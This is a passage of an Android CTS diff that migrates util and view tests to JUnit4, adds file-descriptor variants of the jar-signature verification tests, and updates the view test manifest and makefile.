+        checkJarSigning_fudgedEntry(jarFile);
+    }
+
+    private static void checkJarSigning_fudgedEntry(StrictJarFile jarFile) throws IOException {
         ZipEntry ze = jarFile.findEntry("Test.class");
         jarFile.getInputStream(ze).skip(Long.MAX_VALUE);
 
@@ -155,11 +261,26 @@
         }
     }
 
+    @Test
     public void testJarSigning_modifiedClass() throws IOException {
         copyFile("Modified_Class.jar");
         StrictJarFile jarFile = new StrictJarFile(
-                new File(resources,  "Modified_Class.jar").getAbsolutePath());
+                new File(mResourcesFile,  "Modified_Class.jar").getAbsolutePath());
+        checkJarSigning_modifiedClass(jarFile);
+    }
 
+    @Test
+    public void testJarSigning_modifiedClass_FD() throws IOException {
+        copyFile("Modified_Class.jar");
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, "Modified_Class.jar").getAbsolutePath(),
+                        OsConstants.O_RDONLY);
+        StrictJarFile jarFile = new StrictJarFile(fd);
+        checkJarSigning_modifiedClass(jarFile);
+    }
+
+    private static void checkJarSigning_modifiedClass(StrictJarFile jarFile)
+            throws IOException {
         ZipEntry ze = jarFile.findEntry("Test.class");
         try {
             jarFile.getInputStream(ze).skip(Long.MAX_VALUE);
@@ -168,39 +289,73 @@
         }
     }
 
+    @Test
     public void testJarSigning_brokenMainAttributes() throws Exception {
-        assertThrowsOnInit("Modified_Manifest_MainAttributes.jar");
+        verifyThrowsOnInit("Modified_Manifest_MainAttributes.jar");
     }
 
+    @Test
+    public void testJarSigning_brokenMainAttributes_FD() throws Exception {
+        verifyThrowsOnInitFD("Modified_Manifest_MainAttributes.jar");
+    }
+
+    @Test
     public void testJarSigning_brokenEntryAttributes() throws Exception {
-        assertThrowsOnInit("Modified_Manifest_EntryAttributes.jar");
+        verifyThrowsOnInit("Modified_Manifest_EntryAttributes.jar");
     }
 
+    @Test
+    public void testJarSigning_brokenEntryAttributes_FD() throws Exception {
+        verifyThrowsOnInitFD("Modified_Manifest_EntryAttributes.jar");
+    }
+
+    @Test
     public void testJarSigning_brokenSignatureFile() throws Exception {
-        assertThrowsOnInit("Modified_SF_EntryAttributes.jar");
+        verifyThrowsOnInit("Modified_SF_EntryAttributes.jar");
     }
 
+    @Test
+    public void testJarSigning_brokenSignatureFile_FD() throws Exception {
+        verifyThrowsOnInitFD("Modified_SF_EntryAttributes.jar");
+    }
+
+    @Test
     public void testJarSigning_removedEntry() throws Exception {
-        assertThrowsOnInit("removed.jar");
+        verifyThrowsOnInit("removed.jar");
     }
 
-    private void assertThrowsOnInit(String name) throws Exception {
-      copyFile(name);
+    @Test
+    public void testJarSigning_removedEntry_FD() throws Exception {
+        verifyThrowsOnInitFD("removed.jar");
+    }
+
+    private void verifyThrowsOnInit(String name) throws Exception {
+        copyFile(name);
         try {
-            StrictJarFile jarFile = new StrictJarFile(
-                    new File(resources,  name).getAbsolutePath());
+            new StrictJarFile(new File(mResourcesFile,  name).getAbsolutePath());
             fail();
         } catch (SecurityException expected) {
         }
     }
 
+    private void verifyThrowsOnInitFD(String name) throws Exception {
+        copyFile(name);
+        FileDescriptor fd = IoBridge.open(
+                new File(mResourcesFile, name).getAbsolutePath(),
+                        OsConstants.O_RDONLY);
+        try {
+            new StrictJarFile(fd);
+            fail();
+        } catch (SecurityException expected) {
+        }
+    }
 
-    public File copyFile(String file) {
-        File dest = new File(resources.toString() + "/" + file);
+    private File copyFile(String file) {
+        File dest = new File(mResourcesFile.toString() + "/" + file);
 
         if (!dest.exists()) {
             try {
-                InputStream in = getContext().getAssets().open(file);
+                InputStream in = InstrumentationRegistry.getTargetContext().getAssets().open(file);
                 FileOutputStream out = new FileOutputStream(dest);
                 byte[] buffer = new byte[8192];
                 int c;
@@ -211,8 +366,8 @@
                 dest.deleteOnExit();
                 in.close();
             } catch (IOException e) {
-                throw new RuntimeException(
-                                           "Unable to copy file from resource " + file + " to file " + dest, e);
+                throw new RuntimeException("Unable to copy file from resource " + file
+                        + " to file " + dest, e);
             }
         }
         return dest;
diff --git a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
index c45f369..17e4603 100644
--- a/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/StringBuilderPrinterTest.java
@@ -15,10 +15,20 @@
  */
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.StringBuilderPrinter;
 
-public class StringBuilderPrinterTest extends AndroidTestCase{
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StringBuilderPrinterTest {
+    @Test
     public void testStringBuilderPrinter(){
         StringBuilder strBuilder = new StringBuilder("Hello");
         StringBuilderPrinter strBuilderPrinter = new StringBuilderPrinter(strBuilder);
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 3176316..3362caf 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -15,14 +15,22 @@
  */
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.TimeUtils;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Calendar;
 import java.util.TimeZone;
 
-import junit.framework.TestCase;
-
-public class TimeUtilsTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TimeUtilsTest {
+    @Test
     public void testUnitedStates() throws Exception {
         String[] mainstream = new String[] {
             "America/New_York", // Eastern
@@ -48,6 +56,7 @@
         }
     }
 
+    @Test
     public void testWeirdUnitedStates() throws Exception {
         String[] weird = new String[] {
             "America/Phoenix", // Mountain, no DST
@@ -65,6 +74,7 @@
         }
     }
 
+    @Test
     public void testOld() throws Exception {
         String[] old = new String[] {
             "America/Indiana/Indianapolis", // Eastern, formerly no DST
@@ -81,6 +91,7 @@
         }
     }
 
+    @Test
     public void testWorldWeird() throws Exception {
         String[] world = new String[] {
             // Distinguisable from Sydney only when DST not in effect
@@ -108,6 +119,7 @@
                                      country);
     }
 
+    @Test
     public void testFormatDuration() {
         assertFormatDuration("0", 0);
         assertFormatDuration("-1ms", -1);
@@ -124,6 +136,7 @@
         assertFormatDuration("+1d0h0m0s30ms", 86400030);
     }
 
+    @Test
     public void testFormatHugeDuration() {
         assertFormatDuration("+15542d1h11m11s555ms", 1342833071555L);
         assertFormatDuration("-15542d1h11m11s555ms", -1342833071555L);
diff --git a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
index 4fab540..98f709e 100644
--- a/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
+++ b/tests/tests/util/src/android/util/cts/TimingLoggerTest.java
@@ -16,13 +16,20 @@
 package android.util.cts;
 
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.TimingLogger;
 
-public class TimingLoggerTest extends AndroidTestCase{
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class TimingLoggerTest {
     private static final String LOG_TAG = "TimingLoggerTest";
     private static final int SLEEPING_MSEC = 100;
 
+    @Test
     public void testTimingLogger() {
         TimingLogger timings = new TimingLogger(LOG_TAG, "testTimingLogger");
 
@@ -34,7 +41,7 @@
             }
 
             sleep();
-            timings.addSplit("fisrt sleep");
+            timings.addSplit("first sleep");
 
             sleep();
             timings.addSplit("second sleep");
diff --git a/tests/tests/util/src/android/util/cts/TypedValueTest.java b/tests/tests/util/src/android/util/cts/TypedValueTest.java
index 2ab91d9..9c454e4 100644
--- a/tests/tests/util/src/android/util/cts/TypedValueTest.java
+++ b/tests/tests/util/src/android/util/cts/TypedValueTest.java
@@ -16,24 +16,35 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 
-import junit.framework.TestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 
-public class TypedValueTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TypedValueTest {
+    @Test
     public void testConstructor() {
         new TypedValue();
     }
 
+    @Test
     public void testGetFloat() {
-        final float EXPECTED = Float.intBitsToFloat(99);
+        final float expected = Float.intBitsToFloat(99);
         TypedValue tv = new TypedValue();
         tv.data = 99;
-        assertEquals(EXPECTED, tv.getFloat());
+        assertEquals(expected, tv.getFloat(), 0.0f);
     }
 
+    @Test
     public void testComplexToDimension() {
         DisplayMetrics dm = new DisplayMetrics();
         dm.density = 1.1f;
@@ -41,13 +52,14 @@
         dm.scaledDensity = 2.1f;
         dm.xdpi = 200f;
         dm.ydpi = 300f;
-        final float EXPECTED = TypedValue.applyDimension((10 >> TypedValue.COMPLEX_UNIT_SHIFT)
+        final float expected = TypedValue.applyDimension((10 >> TypedValue.COMPLEX_UNIT_SHIFT)
                 & TypedValue.COMPLEX_UNIT_MASK, TypedValue.complexToFloat(10), dm);
 
-        assertEquals(EXPECTED, TypedValue.complexToDimension(10, dm));
-        assertEquals((int)EXPECTED, TypedValue.complexToDimensionPixelOffset(10, dm));
+        assertEquals(expected, TypedValue.complexToDimension(10, dm), 0.0f);
+        assertEquals((int)expected, TypedValue.complexToDimensionPixelOffset(10, dm));
     }
 
+    @Test
     public void testSetTo() {
         TypedValue tv1 = new TypedValue();
         TypedValue tv2 = new TypedValue();
@@ -68,14 +80,16 @@
         assertEquals(5, tv2.type);
     }
 
+    @Test
     public void testGetFraction() {
         // set the expected value
-        final float EXPECTED = TypedValue.complexToFraction(10, 1.1f, 2.1f) ;
+        final float expected = TypedValue.complexToFraction(10, 1.1f, 2.1f) ;
         TypedValue tv = new TypedValue();
         tv.data = 10;
-        assertEquals(EXPECTED, tv.getFraction(1.1f, 2.1f));
+        assertEquals(expected, tv.getFraction(1.1f, 2.1f), 0.0f);
     }
 
+    @Test
     public void testComplexToDimensionPixelSize() {
         DisplayMetrics dm = new DisplayMetrics();
         dm.density = 1.1f;
@@ -95,8 +109,8 @@
 
     }
 
+    @Test
     public void testComplexToFraction() {
-
         final int data1 = 1;
         final float base1 = 1.1f;
         final float pbase1 = 2.2f;
@@ -106,12 +120,12 @@
         final float base2 = 1.1f;
         final float pbase2 = 2.2f;
         final float expected2 = 0.013092041f;
-        assertEquals(expected1, TypedValue.complexToFraction(data1, base1, pbase1));
-        assertEquals(expected2, TypedValue.complexToFraction(data2, base2, pbase2));
+        assertEquals(expected1, TypedValue.complexToFraction(data1, base1, pbase1), 0.0f);
+        assertEquals(expected2, TypedValue.complexToFraction(data2, base2, pbase2), 0.0f);
     }
 
+    @Test
     public void testToString() {
-
         TypedValue tv = new TypedValue();
         tv.assetCookie = 1;
         tv.changingConfigurations = 2;
@@ -125,6 +139,7 @@
         assertNotNull(tv.toString());
     }
 
+    @Test
     public void testApplyDimension() {
         DisplayMetrics dm = new DisplayMetrics();
         dm.density = 1.1f;
@@ -133,20 +148,22 @@
         dm.xdpi = 200f;
         dm.ydpi = 300f;
 
-        assertEquals(10.0f, TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PX, 10, dm));
+        assertEquals(10.0f, TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PX, 10, dm), 0.0f);
         assertEquals(10 * dm.density, TypedValue
-                .applyDimension(TypedValue.COMPLEX_UNIT_DIP, 10, dm));
+                .applyDimension(TypedValue.COMPLEX_UNIT_DIP, 10, dm), 0.0f);
         assertEquals(10 * dm.scaledDensity, TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP,
-                10, dm));
+                10, dm), 0.0f);
         assertEquals(10 * dm.xdpi * (1.0f/72),
-                TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PT, 10, dm));
-        assertEquals(10 * dm.xdpi, TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_IN, 10, dm));
+                TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_PT, 10, dm), 0.0f);
+        assertEquals(10 * dm.xdpi, TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_IN, 10, dm),
+                0.0f);
         assertEquals(10 * dm.xdpi * (1.0f / 25.4f), TypedValue.applyDimension(
-                TypedValue.COMPLEX_UNIT_MM, 10, dm));
+                TypedValue.COMPLEX_UNIT_MM, 10, dm), 0.0f);
 
-        assertEquals(0.0f, TypedValue.applyDimension(-1, 10, dm));
+        assertEquals(0.0f, TypedValue.applyDimension(-1, 10, dm), 0.0f);
     }
 
+    @Test
     public void testCoerceToString1() {
         TypedValue tv = new TypedValue();
         tv.assetCookie = 1;
@@ -162,6 +179,7 @@
         assertNotNull(tv.coerceToString());
     }
 
+    @Test
     public void testCoerceToString2() {
         assertNull(TypedValue.coerceToString(TypedValue.TYPE_NULL, 10));
         assertNotNull(TypedValue.coerceToString(TypedValue.TYPE_REFERENCE, 10));
@@ -178,19 +196,20 @@
         assertNull(TypedValue.coerceToString(-1, 10));
     }
 
+    @Test
     public void testComplexToFloat() {
-
         final int complex1 = 1;
         final float expected1 = 0.0f;
         final int complex2 = 17;
         final float expected2 = 0.0f;
         final int complex3 = 9999;
         final float expected3 = 39.0f;
-        assertEquals(expected1, TypedValue.complexToFloat(complex1));
-        assertEquals(expected2, TypedValue.complexToFloat(complex2));
-        assertEquals(expected3, TypedValue.complexToFloat(complex3));
+        assertEquals(expected1, TypedValue.complexToFloat(complex1), 0.0f);
+        assertEquals(expected2, TypedValue.complexToFloat(complex2), 0.0f);
+        assertEquals(expected3, TypedValue.complexToFloat(complex3), 0.0f);
     }
 
+    @Test
     public void testGetDimension() {
         DisplayMetrics dm = new DisplayMetrics();
         dm.density = 1.1f;
@@ -203,6 +222,27 @@
         tv.data = 10;
         tv.getDimension(dm);
 
-        assertEquals(TypedValue.complexToDimension(10, dm), tv.getDimension(dm));
+        assertEquals(TypedValue.complexToDimension(10, dm), tv.getDimension(dm), 0.0f);
+    }
+
+    @Test
+    public void testGetComplexUnit() {
+        TypedValue tv = new TypedValue();
+        tv.data = 256;
+        assertEquals(TypedValue.COMPLEX_UNIT_PX, tv.getComplexUnit());
+        tv.data = 257;
+        assertEquals(TypedValue.COMPLEX_UNIT_DIP, tv.getComplexUnit());
+        tv.data = 258;
+        assertEquals(TypedValue.COMPLEX_UNIT_SP, tv.getComplexUnit());
+        tv.data = 259;
+        assertEquals(TypedValue.COMPLEX_UNIT_PT, tv.getComplexUnit());
+        tv.data = 260;
+        assertEquals(TypedValue.COMPLEX_UNIT_IN, tv.getComplexUnit());
+        tv.data = 261;
+        assertEquals(TypedValue.COMPLEX_UNIT_MM, tv.getComplexUnit());
+        tv.data = 21474864;
+        assertEquals(TypedValue.COMPLEX_UNIT_FRACTION, tv.getComplexUnit());
+        tv.data = 21474865;
+        assertEquals(TypedValue.COMPLEX_UNIT_FRACTION_PARENT, tv.getComplexUnit());
     }
 }
diff --git a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
index 4c0c34b..8ce6b5f 100644
--- a/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlEncodingTest.java
@@ -16,25 +16,32 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Xml;
 
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.util.Vector;
-
-import junit.framework.TestCase;
-
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xml.sax.Attributes;
 import org.xml.sax.ContentHandler;
 import org.xml.sax.Locator;
 import org.xml.sax.SAXException;
 
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Vector;
+
 
 /**
  * TestCases for android.util.Xml.Encoding.
  */
 //FIXME: This is a duplicated testcase. Need to improve the coverage tool in future.
-public class XmlEncodingTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class XmlEncodingTest {
 
     private static final String STR_ISO_8859_1 = "ISO-8859-1";
     private static final String STR_US_ASCII = "US-ASCII";
@@ -68,8 +75,8 @@
     private static final String STR_START_TAG = "start:";
     private static final String STR_CHARACTERS_TAG = "characters:";
 
+    @Test
     public void testValueOf() {
-
         // test US-ASCII
         DefaultContentHandler dc = new DefaultContentHandler();
         try {
@@ -201,7 +208,7 @@
 
     class DefaultContentHandler implements ContentHandler {
 
-        public Vector<String> mVec = new Vector<String>();
+        public Vector<String> mVec = new Vector<>();
 
         public void characters(char[] ch, int start, int length) throws SAXException {
             mVec.add(STR_CHARACTERS_TAG + new String(ch));
diff --git a/tests/tests/util/src/android/util/cts/XmlTest.java b/tests/tests/util/src/android/util/cts/XmlTest.java
index 66918ce..400c141 100644
--- a/tests/tests/util/src/android/util/cts/XmlTest.java
+++ b/tests/tests/util/src/android/util/cts/XmlTest.java
@@ -16,6 +16,19 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.res.XmlResourceParser;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Xml;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xml.sax.Attributes;
 import org.xml.sax.ContentHandler;
 import org.xml.sax.Locator;
@@ -24,28 +37,21 @@
 import org.xmlpull.v1.XmlPullParserException;
 import org.xmlpull.v1.XmlSerializer;
 
-import android.content.res.XmlResourceParser;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.Xml;
-import android.util.Xml.Encoding;
-
-
 import java.io.BufferedReader;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.DataOutputStream;
 import java.io.IOException;
-import java.io.InputStream;
 import java.io.InputStreamReader;
-import java.io.Reader;
 import java.io.UnsupportedEncodingException;
 import java.util.Vector;
 
 /**
  * TestCase for android.util.Xml.
  */
-public class XmlTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class XmlTest {
 
     private static final String STR_INVALIDATE_EN_CODING = "invalidateEnCoding";
     private static final String STR_N2 = "-2";
@@ -84,6 +90,7 @@
     final String sourceStr = "<" + TAG_TEST + "><" + TAG_SON + " " + ATT_NAME + "=\"" + STR_ABC
             + "\"/></" + TAG_TEST + ">";
 
+    @Test
     public void testParseStringContentHandler() {
         final String xmlStr = "<Test><Son name=\"abc\"/></Test>";
         DefaultContentHandler dc = new DefaultContentHandler();
@@ -118,7 +125,7 @@
 
     class DefaultContentHandler implements ContentHandler {
 
-        public Vector<String> mVec = new Vector<String>();
+        public Vector<String> mVec = new Vector<>();
 
         public void characters(char[] ch, int start, int length) throws SAXException {
             mVec.add(STR_CHARACTERS_TAG + new String(ch));
@@ -183,6 +190,7 @@
 
     }
 
+    @Test
     public void testParseReaderContentHander() {
         ByteArrayOutputStream bout = new ByteArrayOutputStream();
         DataOutputStream dout = new DataOutputStream(bout);
@@ -231,8 +239,8 @@
         }
     }
 
+    @Test
     public void testParseInputStreamEncodingContentHandler() {
-
         // test US-ASCII
         DefaultContentHandler dc = new DefaultContentHandler();
         try {
@@ -362,6 +370,7 @@
         }
     }
 
+    @Test
     public void testNewSerializer() {
         XmlSerializer xs = Xml.newSerializer();
         assertNotNull(xs);
@@ -370,6 +379,7 @@
         assertNotNull(xp);
     }
 
+    @Test
     public void testFindEncodingByName() {
 
         try {
@@ -389,9 +399,10 @@
         }
     }
 
+    @Test
     public void testAsAttributeSet() {
-        XmlResourceParser xp = getContext().getResources().getLayout(
-                android.util.cts.R.layout.xml_test);
+        XmlResourceParser xp = InstrumentationRegistry.getTargetContext().getResources().getLayout(
+                R.layout.xml_test);
         int eventType = -1;
         try {
             eventType = xp.getEventType();
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index 1b3e1f3..f582b41 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -29,11 +29,12 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
-    ctstestrunner \
-    mockito-target \
-    ub-uiautomator \
     android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    mockito-target-minus-junit4 \
+    platform-test-annotations \
+    ub-uiautomator \
     legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsview_jni libnativehelper_compat_libc++
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index e0d8371..5d23183 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -18,58 +18,67 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.view.cts">
 
+    <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-feature android:name="android.hardware.camera" />
 
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
                 android:maxRecents="1"
                 android:multiArch="true"
-                android:name="android.view.cts.MockApplication"
                 android:supportsRtl="true">
         <uses-library android:name="android.test.runner" />
-        
+
         <activity android:name="android.view.cts.ViewStubCtsActivity"
-            android:label="ViewStubCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="ViewStubCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
+
         <activity android:name="android.view.cts.UsingViewsCtsActivity"
-            android:label="Using Views Test">
+                  android:screenOrientation="locked"
+                  android:label="Using Views Test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
+
         <activity android:name="android.view.cts.FocusHandlingCtsActivity"
-            android:label="Focus Handling Test">
+                  android:screenOrientation="locked"
+                  android:label="Focus Handling Test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
-        <activity android:name="android.view.cts.ViewGroupCtsActivity" android:label="ViewGroupCtsActivity">
+
+        <activity android:name=".ViewGroupInvalidateChildCtsActivity"
+                  android:label="ViewGroupCtsActivity"
+                  android:screenOrientation="locked"
+                  android:hardwareAccelerated="false">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
+
         <activity android:name="android.view.cts.ViewTestCtsActivity"
-            android:label="ViewTestCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="ViewTestCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
+
         <activity android:name="android.view.cts.ViewLayoutPositionTestCtsActivity"
-            android:label="ViewTestCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="ViewTestCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -77,16 +86,19 @@
         </activity>
 
         <activity android:name="android.view.cts.WindowCtsActivity"
-            android:theme="@android:style/Theme.Holo.NoActionBar"
-            android:label="WindowCtsActivity">
+                  android:theme="@android:style/Theme.Holo.NoActionBar"
+                  android:screenOrientation="locked"
+                  android:label="WindowCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
-        
+
         <activity android:name="android.view.animation.cts.AnimationTestCtsActivity"
-            android:label="AnimationTestCtsActivity" android:configChanges="orientation|screenSize">
+                  android:label="AnimationTestCtsActivity"
+                  android:screenOrientation="locked"
+                  android:configChanges="orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -94,7 +106,9 @@
         </activity>
 
         <activity android:name="android.view.animation.cts.GridLayoutAnimCtsActivity"
-            android:label="GridLayoutAnimCtsActivity" android:configChanges="orientation|screenSize">
+                  android:label="GridLayoutAnimCtsActivity"
+                  android:screenOrientation="locked"
+                  android:configChanges="orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -102,31 +116,9 @@
         </activity>
 
         <activity android:name="android.view.animation.cts.LayoutAnimCtsActivity"
-            android:label="LayoutAnimCtsActivity" android:configChanges="orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-        
-        <activity android:name="android.view.inputmethod.cts.InputMethodCtsActivity"
-            android:label="InputMethodCtsActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-        <service android:name="android.view.inputmethod.cts.InputMethodInfoStub"
-            android:label="InputMethodInfoStub">
-            <intent-filter>
-                <action android:name="android.view.InputMethod" />
-            </intent-filter>
-            <meta-data android:name="android.view.im"
-                android:resource="@xml/method" />
-        </service>
-
-        <activity android:name="android.view.cts.MenuInflaterCtsActivity"
-            android:label="MenuInflaterCtsActivity">
+                  android:label="LayoutAnimCtsActivity"
+                  android:screenOrientation="locked"
+                  android:configChanges="orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -134,7 +126,8 @@
         </activity>
 
         <activity android:name="android.view.cts.SurfaceViewCtsActivity"
-            android:label="SurfaceViewCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="SurfaceViewCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
@@ -142,23 +135,56 @@
         </activity>
 
         <activity android:name="android.view.cts.TextureViewCtsActivity"
-            android:label="TextureViewCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="TextureViewCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
             </intent-filter>
         </activity>
 
+        <activity android:name="android.view.cts.TextureViewCameraActivity"
+                  android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.TextureViewStressTestActivity"
+                  android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.TextureViewSnapshotTestActivity"
+                  android:screenOrientation="locked">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.view.cts.PixelCopyVideoSourceActivity"
-            android:label="PixelCopyVideoSourceActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
+                  android:screenOrientation="locked"
+                  android:label="PixelCopyVideoSourceActivity" />
+
+        <activity android:name="android.view.cts.PixelCopyGLProducerCtsActivity"
+                  android:screenOrientation="locked"
+                  android:label="PixelCopyGLProducerCtsActivity"/>
+
+        <activity android:name="android.view.cts.PixelCopyViewProducerActivity"
+                  android:label="PixelCopyViewProducerActivity"
+                  android:screenOrientation="portrait"
+                  android:rotationAnimation="jumpcut"
+                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+                  android:configChanges="orientation|screenSize" />
 
         <activity android:name="android.view.cts.FocusFinderCtsActivity"
-            android:label="FocusFinderCtsActivity">
+                  android:screenOrientation="locked"
+                  android:label="FocusFinderCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -166,34 +192,41 @@
         </activity>
 
         <activity android:name="android.view.cts.GestureDetectorCtsActivity"
-            android:label="GestureDetectorCtsActivity"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+                  android:label="GestureDetectorCtsActivity"
+                  android:screenOrientation="locked"
+                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
 
         <activity android:name="android.view.cts.ScaleGestureDetectorCtsActivity"
-            android:label="ScaleGestureDetectorCtsActivity"
